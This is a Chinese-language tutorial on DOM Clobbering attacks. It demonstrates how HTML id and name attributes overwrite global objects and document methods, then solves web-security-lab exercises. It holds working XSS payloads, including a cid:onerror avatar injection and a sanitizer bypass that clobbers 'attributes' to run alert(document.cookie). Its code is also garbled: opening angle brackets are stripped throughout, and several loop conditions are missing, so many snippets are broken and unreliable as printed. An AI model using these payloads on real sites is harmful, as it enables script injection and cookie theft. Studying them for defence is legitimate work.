DOM破坏攻击学习
DOM破坏攻击学习
作者：L's 合天智汇
前言
最近看到好多师傅都已经学习过了DOM Clobbering Attack，因此自己也来学习一波。
0x01 简介
DOM最初诞生的时候没有一个很好的标准，以至于各个浏览器在实现的过程中会支持DOM的一些怪异行为，而这些行为可能会导致DOM Clobbering的发生浏览器可能会将各种DOM元素的name和id属性添加为document的属性或页面的全局变量，这会导致覆盖掉document原有的属性或全局变量，或者劫持一些变量的内容。
测试环境 Chrome 80.0.3987.132
0x02 简单的例子：
1.对象创建
测试代码如下：
!DOCTYPE html>html lang="en">
head>
meta charset="UTF-8">
title>DOM Clobbering Attack/title>
/head>
body>
form id=test1>/form>
form name=test2>/form>
script>
console.log(test1);
console.log(test2);
console.log(window.test1);
console.log(window.test2);
console.log(document.test1);
console.log(document.test2);
/script>
/body>
/html>打印的结果如下：
通过上面的结果，可以看出来HTML标签中的id属性值被当做全局变量，name属性值被当成document的属性，这也就是为什么上面有一行输出undefined的原因。
2.方法的覆盖
测试代码如下：
!DOCTYPE html>html lang="en">
head>
meta charset="UTF-8">
title>DOM Clobbering Attack/title>
/head>
body>
form name="getElementById">/form>
form id="form">/form>
script>
console.log(document.getElementById);
console.log(document.getElementById("form"))
/script>
/body>
/html>结果如下：
通过上面的输出结果显示我们可以通过name属性覆盖document中的内置方法。
3.通过标签的层级关系构造变量的层级关系
测试代码如下：
!DOCTYPE html>html lang="en">
head>
meta charset="UTF-8">
title>DOM Clobbering Attack/title>
/head>
body>
form id="test1">
input id="test2">
img id="test3">
/form>
form id="test4" name="test5">/form>
form name="body">
input name="firstChild">
/form>
script>
console.log(test1);
console.log(test1.test2);
console.log(test1.test3);
console.log(test4['name']);
console.log(test5['id']);
console.log(document.body);
console.log(document.body.firstChild);
/script>
/body>
/html>结果如下：
通过上面的结果我们看到，可以通过多层覆盖的方式，覆盖Window和document下的对象。
0x03 javascript Scope
由于DOM Clobbering Attack的攻击中有很多的地方用到了javascript的作用域链，因此我们可以来了解一下：
1.全局作用域：
在javascript中全局作用域一般是window(nodejs是global)。
2.显示声明：
!DOCTYPE html>html lang="en">
head>
meta charset="UTF-8">
title>DOM Clobbering Attack/title>
/head>
body>
script>
var testValue=123;
var testFunc=function () {
console.log("DOM");
};
console.log(window.testValue); // 123
console.log(window.testFunc); // function(){console.log("DOM")}
/script>
/body>
/html>3.隐式声明：
不带有声明关键字的变量，js会默认帮你声明一个全局变量：
!DOCTYPE html>html lang="en">
head>
meta charset="UTF-8">
title>DOM Clobbering Attack/title>
/head>
body>
script>
function foo(value) {
result=value+1;
return result;
}
foo(1);
console.log(window.result); // 2
/script>
/body>
/html>变量result被挂载到了window对象上了。
4.块级作用域：
在 ES6 之前，是没有块级作用域的概念的。如果你有 C++ 或者 Java 经验，想必你对块级作用域并不陌生：
for (var i=0;i5;i++){}
console.log(i); // 5从上面的结果来看，说明var声明的变量，在for循环之后仍然保存在这个作用域里，而for(){}仍然在全局作用域里，因此var声明的变量在全局作用域里。
我们可以通过let(或const用来声明常量)来声明变量，实现块级作用域。
除了上面的几种作用域外还有语法作用域，动态作用域等，就不赘述了感兴趣的参考下面的链接。
0x04 攻击方法：
1.为了分析DOM Clobbering漏洞，假设如下代码：
if (window.test1.test2) {
eval(''+window.test1.test2)
}如果我们想利用Dom Clobbering技巧来执行任意的js，需要解决两个问题：
1)利用html标签的属性id，很容易在window对象上创建任意的属性，但是我们能在新对象上创建新属性吗？
2)怎么控制DOM elements被强制转为string之后的值，大多数的dom节点被转为string后是[object HTMLInputElement]。
我们可以用前面的例子来解决第一个问题：
!DOCTYPE html>html lang="en">
head>
meta charset="UTF-8">
title>DOM Clobbering Attack/title>
/head>
body>
form id="test1">
input name="test2">
/form>
script>
console.log(test1.test2.toString()); // [object HTMLInputElement]
/script>
/body>
/html>我们可以用下面的一段代码来枚举，html存在的所有标签，然后检查其dom节点对象有没有实现toString方法，或者是继承于Object.ptototype。如果是继承自Object.prototype,那么很有可能只会返回[object SomeElement]
Object.getOwnPropertyNames(window).filter(p => p.match(/Element$/)) .map(p => window[p]) .filter(p => p area>)和HTMLAnchorElement (a>)，这两个标签的toString会直接返回他的href属性。!DOCTYPE html>html lang="en"> head> meta charset="UTF-8"> title>DOM Clobbering Attack/title> /head> body> a id=test1 href=https://www.baidu.com> script> console.log(test1.toString()); // https://www.baidu.com /script> /body> /html>结合上面的两个问题，我们会构造如下payload:
form id=test1> a name=test2 href="x:alert(1)">/a> /form>但是test1.test2是undefined，这是因为input>元素会变成form>的属性，但a>标签并不会。
form id=test1> a name=test2 href="x:alert(1)">/a> /form> body> script> console.log(test1.test2); // undefined /script>我们可以通过构造一个HTMLCollection来解决问题，例如：
a id="test1">click1!/a>a id="test1">click2!/a> body> script> console.log(test1) /script>返回的**如下所示：
HTMLCollection(2) [a#test1, a#test1, test1: a#test1] length: 2 0: a#test1 1: a#test1 test1: a#test1 __proto__: HTMLCollectionHTMLCollection可以通过index访问，同时可以使用id访问，并且可以使用name访问，例如：
a id="test1">click1!/a>a id="test1" name="test2">click2!/a> body> script> console.log(test1.test2); //a id="test1" name="test2">click2!/a> /script>因此上面的问题得到解决，通过构造如下payload:
a id="test1">/a>a id="test1" name="test2" href="jacascript:alert(1)">/a> a id="test1">/a>a id="test1" name="test2" href="javascript:alert(1)">/a>script> if (window.test1.test2) { eval(''+window.test1.test2) } /script>成功执行。
2.确定DOM元素间的关系
我们把两个HTML元素相邻放置，分别为其分配一个ID，然后检查第一个元素是否具有第二个元素的属性。代码如下：
const log = []; const html = ["a", "abbr", "acronym", "address", "applet", "area", "article", "aside", "audio", "b", "base", "basefont", "bdi", "bdo", "bgsound", "big", "blink", "blockquote", "body", "br", "button", "canvas", "caption", "center", "cite", "code", "col", "colgroup", "command", "content", "data", "datalist", "dd", "del", "details", "dfn", "dialog", "dir", "div", "dl", "dt", "element", "em", "embed", "fieldset", "figcaption", "figure", "font", "footer", "form", "frame", "frameset", "h1", "head", "header", "hgroup", "hr", "html", "i", "iframe", "image", "img", "input", "ins", "isindex", "kbd", "keygen", "label", "legend", "li", "link", "listing", "main", "map", "mark", "marquee", "menu", "menuitem", "meta", "meter", "multicol", "nav", "nextid", "nobr", "noembed", "noframes", "noscript", "object", "ol", "optgroup", "option", "output", "p", "param", "picture", "plaintext", "pre", "progress", "q", "rb", "rp", "rt", "rtc", "ruby", "s", "samp", "script", "section", "select", "shadow", "slot", "small", "source", "spacer", "span", "strike", "strong", "style", "sub", "summary", "sup", "svg", "table", "tbody", "td", "template", "textarea", "tfoot", "th", "thead", "time", "title", "tr", "track", "tt", "u", "ul", "var", "video", "wbr", "xmp"]; div=document.createElement('div'); for(let i=0; ihtml.length; i++) { for(let j=0; jhtml.length; j++) { div.innerHTML=''+html[i]+' id=element1>'+''+html[j]+' id=element2>'; document.body.appendChild(div); if(window.element1 } document.body.removeChild(div); } } console.log(log.join('\n'));上面是我们用html标签的id属性来寻找DOM之间的关系的过程，结果如下：
form,button form,fieldset form,image form,img form,input form,object form,output form,select form,textarea如果我们要覆盖一个对象的x.y.value值，可以用下面的这种方式：
form id=x>output id=y>I've been clobbered/output>/form>script> console.log(x.y.value); /script>3.使用form标签来伪造三层的对象引用
form id=x name=y>input id=z>/form>form id=x>/form> script> alert(x.y.z) /script>在Chrome中，当form标签有两个一样的id的input标签时，Chrome会将其处理为[object RadioNodeList]，这个可以用forEach来遍历：
form id=x> input id=y name=z> input id=y> /form> script> x.y.forEach(element=>alert(element)); /script>4.是否自定义的DOM节点也具有上面的属性呢？
form id=x y="123">/form>script> alert(x.y); // undefined /script>我们可以通过下面的代码来测试一下dom中有哪些属性可以用：
var html = ["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"];//HTML elements arrayvar props=[]; for(i=0;ihtml.length;i++){ obj = document.createElement(html[i]); for(prop in obj) { if(typeof obj[prop] === 'string') { try { props.push(html[i]+':'+prop); }catch(e){} } } } console.log([...new Set(props)].join('\n'));上面的代码显示的是string类型的属性，他们并不一定可控，为了检查他们是否可读写，我们可以用下面的代码：
var html = [...]//HTML elements arrayvar props=[]; for(i=0;ihtml.length;i++){ obj = document.createElement(html[i]); for(prop in obj) { if(typeof obj[prop] === 'string') { try { DOM.innerHTML = ''+html[i]+' id=x '+prop+'=1>'; if(document.getElementById('x')[prop] == 1) { props.push(html[i]+':'+prop); } }catch(e){} } } } console.log([...new Set(props)].join('\n'));通过上面的输出结果可以有：
a id="x" target="ddd">/a>a id="y" download="eee">/a> ... script> console.log(x.target); // ddd console.log(y.download); // eee /script>对于上面的DOM属性中，我们需要关注的是username和password属性，他们是a标签的节点属性并不是html中定义的属性，这两个属性可以通过url的中的username字段和password字段提供，但是需要有@符号：
a id=x href="ftp:Clobbered-username:Clobbered-Password@a">/a>script> console.log(x.username); //Clobbered-username console.log(x.password); //Clobbered-password /script>上面不仅可以用ftp协议，也可以用http协议(必须加//)，需要注意的是，如果我们直接通过toString函数将dom转换为字符串他的href是经过url编码的，不过我们可以通过一个不存在的协议绕过abc:>：
a id=x href="abc:>">/a>script> alert(x); //abc:> /script>5.获取3级以上的对象引用
@Terjanq提到，可以结合iframe的srcdoc属性构造任意层数的对象引用。
例子如下：
iframe name=a srcdoc=" iframe srcdoc='a id=c name=d href=cid:Clobbered>test/a>a id=c>' name=b>">/iframe> script>setTimeout(()=>alert(a.b.c.d),500)/script>上面用到了setTimeout设置一个定时器是为了保证iframe框架的加载完成。我们可以利用style/link来加载外部样式表来造成延迟：
iframe name=a srcdoc=" iframe srcdoc='a id=c name=d href=cid:Clobbered>test/a>a id=c>' name=b>">/iframe> style>@import '//portswigger.net';/style> script> alert(a.b.c.d) /script>0x06 攻击实例：
1.clobbering to enable XSS lab
实验之前先看一个简单的例子：
a id=someObject>a id=someObject name=url href="./xss.js"> !--xss.js alert(1)-->script> window.onload = function(){ let someObject = window.someObject || {}; let script = document.createElement('script'); script.src = someObject.url; document.body.appendChild(script); }; /script>这个实验就有点类似下面这个例子：
通过查看源代码我们可以看到这个文件：loadCommentsWithDomClobbering.js，我们可以看到下面的获取图片src的代码：
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}let avatarImgHTML = 'img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">'; let divImgContainer = document.createElement("div"); divImgContainer.innerHTML = avatarImgHTMLavatar的默认值是/resources/images/avatarDefault.svg，我们可以通过覆盖window.defaultAvatar来实现xss，构造的payload如下：
a id=defaultAvatar>a id=defaultAvatar name=avatar href="cid:onerror=alert(1)//">插入的标签如下：
p>a id="defaultAvatar">/a> a href="cid:onerror=alert(1)//" name="avatar" id="defaultAvatar">/a> /p>为什么我们要把闭合前面的"编码为，因为cid是没有这个协议的，因此不会对"进行url编码。这样在解码时就变成了控制字符"改变页面结构。
然后再评论一次，刷新全局变量，加载loadCommentsWithDomClobbering.js即可导致xss。
实验之前我们先来看一个例子：
!DOCTYPE html>html lang="en"> head> meta charset="UTF-8"> title>DOM Clobbering Attack/title> /head> body> html> body> !-- 表单，用于提交payload --> form action="" id="form1"> input type="text" name="payload" style="width: 500px;height:60px;">br> input type="button" onclick=formSubmit() value="submit"> /form> /body> /html> script> // 遍历DOM树，不需要关注这个函数 function DomBFS(element, callback) { var queue = []; while(element) { callback(element); if(element.children.length !== 0) { for (var i = 0; i element.children.length; i++) { queue.push(element.children[i]); } } element = queue.shift(); } } // 过滤用户提交的HTML代码，如果包含onclick, onerror，删掉该属性(attribute) let blockAttributes = ["onclick", "onerror"]; function formSubmit() { let f = document.getElementById("form1"); let sandbox = document.implementation.createHTMLDocument(''); let root = sandbox.createElement("div"); root.innerHTML = f.payload.value; DomBFS(root, function(element){ // 遍历属性名 for(var a = 0; a element.attributes.length; a+=1) { let attr = element.attributes[a]; if(blockAttributes.indexOf(attr.name) != -1) { element.removeAttribute(attr.name); a -= 1; } } }); document.body.appendChild(root); } /script> /body> /html>payload如下：
form onclick=alert(1)>input id=attributes>Click me由于attributes被覆盖导致执行到payload的form时跳过for循环跳过黑名单，成功执行xss。
跟上面一样我们先看看loadCommentsWithHtmlJanitor.js的代码。
// Sanitize attributesfor (var a = 0; a node.attributes.length; a += 1) { var attr = node.attributes[a]; if (shouldRejectAttr(attr, allowedAttrs, node)) { node.removeAttribute(attr.name); // Shift the array to continue looping. a = a - 1; } }结合上面的例子我们可以通过构造form id=x>input id=attributes>的形式来绕过。
根据题目的要求，需要访问触发，并且通过参考资料得知利用tabindex属性和form的onfocus来执行xss。
因此构造如下：
form id=x tabindex=0 onfocus=alert(document.cookie)>input id=attributes>
但是我们要解决这个lab需要提交到该漏洞利用的漏洞服务器，而且用户直接点击是不会触发xss的，因此我们要构造一个在评论后主动访问并且加上#x，为了等待评论完成我们需要延迟一下，因此构造下面的payload:
iframe src=https://ac5d1feb1e0464fb80aec03700a10012.web-security-academy.net/post?postId=2 onload="setTimeout(a=>this.src=this.src+'#x',500)">/iframe>直接提交完成lab。
0x07 总结
现在一般可以xss的地方都会有过滤，因此当我们xss不了的时候我们是不是可以考虑一下DOM Clobbering Attack呢？
0x08
参考链接
http://d1iv3.me/2018/04/11/DOM-Clobbering-Attack/
https://juejin.im/post/5abb99e9f265da2392366824
https://wonderkun.cc/2020/02/15/DOM%20Clobbering%20Attack%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/
https://portswigger.net/research/dom-clobbering-strikes-back
https://portswigger.net/web-security/dom-based/dom-clobbering
实验推荐：
WebGoat之XSS
http://hetianlab.com/expc.do?ce=bda568d3-a31c-49ef-ba3e-a4c7d4ee1d0a
（由于html和js都是解释执行的，如果对用户的输入过滤不够严格，导致用户输入一些html或者js代码被浏览器执行）
声明：笔者初衷用于分享与普及网络知识，若读者因此作出任何危害网络安全行为后果自负，与合天智汇及原作者无关！
